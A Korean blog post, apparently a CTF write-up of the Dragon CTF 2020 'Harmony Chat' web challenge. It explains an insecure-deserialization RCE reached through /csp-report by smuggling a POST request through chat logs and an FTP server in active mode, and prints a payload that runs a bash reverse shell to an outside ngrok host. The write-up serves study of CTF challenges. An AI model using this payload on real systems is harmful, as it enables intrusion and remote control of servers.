[CTF] Dragon CTF 2020

Harmony Chat(Webhacking)

レ(゚∀゚;)ヘ=З=З=З 2023. 12. 21. 09:17
728x90

화면에 나와있는 내용과 같이 /register vie로 접속하였더니 UID가 나왔다. 

로그인하기 위해서 /login (UID)를 해주었더니 로그인이 되었다.

vie라는 채널을 만들고 Hello와 Hi를 입력하니까 채팅창에 나타났다.

위에 나와있는 Logs(HTTP) 버튼을 누르니까 내가 쳤던 채팅의 로그가 기록된 페이지가 떴다.
이 다음에 npm라이브러리를 사용해서 코드를 확인하고 수정해야 한다.

csp-report를 자세히 살펴 보니 애플리케이션의 npm라이브러리 javascript-serializer를 사용해서 보안에 취약한 역직렬화가 가능하다는 것을 알 수 있다고 한다. 이 직렬화 구문을 분석함을 통해 RCE를 달성할 수 있는 방법을 찾을 수 있었다. 여기서 RCE는 조작된 웹페이지나 이미지 파일을 보는 것만으로도 외부에서 전송된 코드가 실행되는 취약점을 의미한다. 아마 채팅을 통해서 무언가를 전송해서 실행시킬 수 있을 것 같았다.

즉, 애플리케이션의 역직렬화를 통해 리버스 쉘을 열 수 있다. 하지만 한 가지 주의사항이 있다.

모든 요청이 /csp-report에 전송될 때마다 isLocal검사가 발생하는데, 이것은 요청되는 remote IP가 LAN에 존재하는지 확인한다. 여기서 문제는 이 isLocal검사에 실패했기 때문에 이 부분을 해결해야 한다.

LAN에 있는 FTP 서버가 활성 모드로 작동하고 이 LAN 안에 있는 HTTP 서버에 연결을 설정하면 /csp-report에 FTP 서버를 통해 POST 요청을 할 수 있다. 근데 FTP 서버에서는 파일에 대한 쓰기 권한이 없으므로 채팅 로그에 POST 요청을 작성해야 한다. 

각각 5개의 사용자를 만들어서 각 메시지를 전달하는 것 같았다. POST /csp-report? , Host, Content-Length, Content-Type, {“csp-report” 이라는 이름의 사용자가 각각 HTTP/1.1, localhost:3380, 386, application/csp-report, {“blocked-uri”:”x”, “document-uri”:”X”, “effective-directive”:”X”, “original-policy”:”X”, “referrer”: “X”, “status-code”:”X”, “violated-directive”: “X”, “source-file”: {“toString”: {“___js-to-json-class___”: “Function”, “json”: “process.mainModule.require(\”child_process\”).exec(\”bash -c ‘bash -I >& /dev/tcp/4.tcp.ngrok.io/18843 0>&1’\”, {stdio:\”inherit\”})”}}}} 메시지를 입력한다.

채팅 로그를 계속해서 다운로드하고, FTP 서버에 로그 파일을 저장한 후에 오른쪽 상단에 있는 Logs (FTP)을 클릭해서 연결한다. 

그리고 나서 이 명령을 준 다음에 FTP서버가 채팅 로그를 HTTP 서버로 보낸 것을 확인하면 리버스 쉘이 열린 것을 확인해야 한다. 그 다음 ls을 입력해서 flag값을 얻는다.

최종 flag값인 DrgnS{FTPIsFun,ButFXPIsFunner!} 이 나왔다.

 

'[CTF] Dragon CTF 2020' 카테고리의 다른 글

RetroZeit(Reverse)  (0) 2023.12.21
Bit Flip3(Cryptography)  (1) 2023.12.21
Bit Flip2(Cryptography)  (1) 2023.12.21
Bit Flip1(Cryptography)  (0) 2023.12.21